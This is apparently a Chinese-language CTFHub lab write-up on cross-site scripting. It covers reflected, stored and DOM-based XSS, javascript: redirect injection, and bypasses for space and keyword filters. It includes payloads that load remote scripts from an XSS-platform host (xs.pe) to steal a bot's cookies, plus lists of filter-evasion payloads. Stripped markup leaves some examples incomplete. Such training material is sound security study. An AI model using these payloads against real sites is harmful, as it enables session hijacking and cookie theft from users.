CTFHUB-Web-XSS_ctfhub xss
技能树-xss
一.反射型(Reflected XSS )
1.信息:
-
原理:
恶意脚本作为请求的一部分发送到服务器,服务器未过滤直接将其嵌入响应中返回给用户浏览器执行。
示例:
攻击者构造一个含恶意脚本的URL(如http://example.com/search?q=alert(1)
),诱骗用户点击。 -
特点:
-
非持久化:恶意脚本不存储在服务器上,仅通过特定请求触发。
-
依赖社交工程:需诱导用户主动点击恶意链接。
-
常见场景:搜索框、错误页面、URL参数等即时响应的功能。
-
-
攻击流程:
用户点击恶意链接 → 服务器返回含恶意脚本的页面 → 浏览器执行脚本。
2.操作:
二通过标签来注入恶意脚本
解释:通过 标签进行 XSS(跨站脚本攻击,Cross-Site Scripting)漏洞渗透,主要是因为
是 HTML 中直接执行 JavaScript 代码的标签。攻击者利用这一特性,在目标网站中注入恶意脚本,从而在用户浏览页面时执行攻击代码。
代码:
alert(\'XSS\')
有弹窗,说明存在xss漏洞,并且通过网址可以发现,该请求是通过get来进行请求,因此直接把改后的网址输入到下方的输入框中,注意:在这里我们的构成的代码是需要使用在线平台生成的(XSS平台-XSS测试网站-仅用于安全免费测试)下方的输入框是模拟其他用户访问的该网址的。
然后通过在线平台,取的相应的flag
二.存储型(Stored XSS)
1.信息:
-
原理:
恶意脚本被永久存储在服务器(如数据库、评论、留言板),当其他用户访问受影响页面时自动加载执行。
示例:
攻击者在博客评论区提交stealCookie()
,所有访问该页面的用户都会触发脚本。 -
特点:
-
持久化:恶意脚本长期存储在服务器上,影响所有访问者。
-
无需用户交互:只要访问受感染页面即可触发。
-
危害更大:易形成大规模攻击(如蠕虫传播)。
-
常见场景:用户生成内容(UGC)区域,如论坛、社交平台、商品评价。
-
-
攻击流程:
攻击者提交恶意内容到服务器 → 内容存储 → 其他用户访问页面 → 浏览器自动执行脚本。
2.操作:
(一样是两个框,输入alert(1),有弹窗,存在漏洞,但是网址没有改变,通过burpsuite抓包,在通过在线utf-8编译器发现是post请求)
一样的通过在线的xss-platform的渗透语句粘贴到下方的robot输入框进行渗透,并在在线平台查看cookie就能得到flag了。
三.存储型和反射型的区别
1.信息:
四.DOM反射(DOM-based XSS)
1.信息:
-
攻击者构造一个恶意 URL,其中包含可被 JavaScript 解析的恶意代码(如
#
后的 hash 参数或?
后的查询参数)。 -
前端 JavaScript 代码(如
document.write
、innerHTML
、eval
等)直接使用未过滤的 URL 参数,导致恶意脚本被执行。 -
服务器不参与恶意代码的返回,因此传统的输入过滤(如 WAF)可能无法防御。
2.操作
输入alert(2131)没有弹窗但是有页面发生改变,通过开发者模式查看源码
发现网址本身就嵌套了标签了,因此我们先把前面的语句结束掉,在进行渗透,利用xss-platform生成的名令进行修改:
然后将url发给robot进行点击在通过xss-platform查看robot的cookie。
五.DOM跳转
1.信息:
DOM跳转型XSS(DOM-based Redirection XSS)是一种特殊的XSS攻击方式,攻击者通过操纵DOM(文档对象模型)使页面跳转到恶意URL,通常结合:
-
DOM-based XSS(不依赖服务端,纯前端漏洞)
-
开放重定向漏洞(Unvalidated Redirects)
DOM跳转:DOM 跳转是一种基于前端 JavaScript 实现的页面跳转技术,它通过修改浏览器地址或加载新页面来实现导航功能。这种技术本身是合法的,但如果实现不当,可能成为严重的安全漏洞。
2.操作:
我们这边没有输入框进行输入,试着通过网址试着进行查看是否通过get进行请求,再通过查看源码发现是通过=进行分割语句,识别到?后会执行跳转url,试着通过下方代码查看是否存在xss漏洞
/?jumpto=javascript:alert(1)
存在弹窗,就直接通过url下手
/?jumpto=javacript:$.getscript(\"xss-platform提供的地址\")
javascript:
是浏览器伪协议,用于执行代码。- 代码
$.getScript(\"//xs.pe/vC3.jpg\")
会加载并执行远程脚本。
我这题在解题的过程出现一个问题就是使用这个XSS平台-XSS测试网站-仅用于安全免费测试
生成的没反应,后面换成这个 XSS安全平台 就可以了
六.DOM反射和DOM跳转
1.定义与原理
Ⅰ.DOM 跳转:
- 指通过修改浏览器的当前 URL 或使用 JavaScript 方法(如
window.location.href
、window.navigate()
)将用户导航到新的页面或同一页面的不同位置 - 常见方式包括直接 URL 跳转、锚点跳转、JavaScript 动态跳转等
- 本质是页面的导航行为,涉及浏览器历史记录和页面加载
Ⅱ.DOM 反射:
- 指通过 JavaScript 动态修改 DOM 树的内容、结构或属性
- 常见方式包括
document.write()
、innerHTML
、appendChild()
等方法 - 本质是页面内容的动态更新,不涉及页面导航(除非主动触发跳转)
window.location.href = \"https://example.com\";
document.getElementById(\"target\").innerHTML = \"alert(\'XSS\');\";
2.安全漏洞对比
DOM 跳转漏洞
常见漏洞类型:
- 开放重定向(Open Redirect):
- 攻击者通过构造恶意 URL 参数,诱使用户跳转到钓鱼网站
- 示例:
http://example.com/redirect?url=http://malicious.com
- JavaScript 伪协议注入:
- 利用未过滤的 URL 参数执行 JavaScript 代码
- 示例:
http://example.com?jumpto=javascript:alert(document.cookie)
漏洞危害:
- 用户会话劫持(通过钓鱼页面窃取登录凭证)
- 跨站脚本攻击(XSS)的间接利用
- 社会工程攻击(诱导用户访问恶意站点)
防护措施:
- 白名单验证:只允许跳转到可信域名
- 参数过滤:禁止协议前缀(如
javascript:
、data:
) - 使用相对路径:优先使用站内相对路径而非绝对 URL
- CSP 策略:设置
Content-Security-Policy: frame-ancestors \'self\'
防止被 iframe 嵌入
DOM 反射漏洞
常见漏洞类型:
- DOM-Based XSS:
- 通过操纵页面 DOM 结构注入恶意脚本
- 示例:
http://example.com/search?term=alert(\'XSS\');
- HTML 注入:
- 注入恶意 HTML 标签(如
) - 示例:输入框内容被直接插入 DOM:
\">
- 注入恶意 HTML 标签(如
漏洞危害:
- 窃取用户 Cookie 和敏感信息
- 执行任意 JavaScript 代码(如修改页面内容、劫持用户操作)
- 绕过同源策略(如通过
localStorage
跨域攻击)
七.空格过滤
1.信息:
在 XSS 攻击中,空格常用于分隔 HTML 标签、属性或 JavaScript 代码中的关键字。过滤空格可破坏攻击者构造的恶意代码结构,例如:
- 绕过标签过滤:
正常标签:
空格变形:(利用空格拆分标签名,绕过简单的关键词匹配)。
- 绕过属性过滤:
恶意属性:onerror=\"恶意代码\"
空格变形:on error=\"恶意代码\"
(通过空格拆分事件名,绕过过滤)。
1. 特殊空白字符
使用不可见的控制字符替代空格:
2. HTML 实体编码
使用 HTML 实体编码替代空格:
3. JavaScript Unicode 编码
结合 JavaScript 的 Unicode 转义:
4. 标签属性合并技巧
利用 HTML 解析器的特性,不使用任何分隔符:
5. 注释分隔法
使用 HTML 注释作为分隔符:
<sCRiPtsRC=//xs.pe/vC7>
2.进阶绕过技术
如果目标系统同时过滤了常见的空白字符,可以尝试以下更复杂的方法:
1. 标签嵌套绕过
利用浏览器对嵌套标签的解析特性:
<script src=//xs.pe/vC7></script>
2. 事件触发型 XSS
结合事件属性,无需传统标签:

3. 利用 HTML5 自定义属性
4. 基于 DOM 的 XSS
通过修改 URL 哈希值触发:
http://example.com/#alert(1)
3.解题:
这边利用html特性不使用分割符,直接用\"/\"代替
八.过滤关键词
一、关键词过滤绕过技术
当目标系统过滤了敏感关键词(如、
onerror
、javascript:
)时,可以使用以下方法绕过:
1. 大小写混淆
alert(1)
2. HTML 实体编码
alert(1) <!-- 的十六进制编码 -->alert(1)
3. Unicode 编码
alert(1) alert(1)
4. 标签嵌套
<script>alert(1)</script>
5. 利用 HTML5 自定义标签
Click me
6. 事件属性拆分
7. 协议混淆
8. 利用浏览器特性
二、进阶绕过技术
针对更严格的关键词过滤,可以结合多种编码和技术:
1. 双重编码
%3Cscript%3Ealert(1)%3C/script%3E <!-- URL编码后的 alert(1) -->
2. 利用 JavaScript 特性
[].forEach.call`alert(1)` eval(String.fromCharCode(97,108,101,114,116,40,49,41))
3. DOM 型 XSS 触发
http://example.com/#data:text/html,alert(1)
4. CSS 表达式(针对旧版 IE)
body{background-image:expression(alert(1))}
三.解题
这边已经帮你进行大小写混写了,直接使用即可